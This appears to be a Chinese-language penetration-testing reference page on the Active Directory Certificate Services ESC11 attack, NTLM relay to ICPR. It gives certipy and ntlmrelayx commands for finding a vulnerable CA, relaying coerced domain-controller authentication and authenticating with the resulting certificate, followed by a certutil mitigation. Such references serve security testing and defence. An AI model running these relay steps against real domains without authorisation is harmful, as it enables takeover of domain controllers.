跳转至

Active Directory - 证书 ESC11

ESC11 - NTLM 中继到 ICPR

ICPR 请求未强制加密,且请求处置设置为"颁发"。

工具

利用方法

  1. 在 certipy 输出中查找 Enforce Encryption for Requests: Disabled

    certipy find -u user@dc1.lab.local -p 'REDACTED' -dc-ip 10.10.10.10 -stdout
    Enforce Encryption for Requests : Disabled
    ESC11: Encryption is not enforced for ICPR (RPC) requests.
    
  2. 使用 Impacket ntlmrelay 建立中继并触发连接。

    certipy relay -target rpc://dc.domain.local -ca 'DOMAIN-CA' -template DomainController
    # 或
    ntlmrelayx.py -t rpc://10.10.10.10 -rpc-mode ICPR -icpr-ca-name lab-DC-CA -smb2support
    
  3. 从特权帐户(如域控制器)强制身份认证。

  4. 使用获得的证书

    certipy auth -pfx dc.pfx
    

缓解措施

强制 RPC 加密(数据包隐私)。

certutil -getreg CA\InterfaceFlags
certutil -setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQUEST
net stop certsvc
net start certsvc

参考资料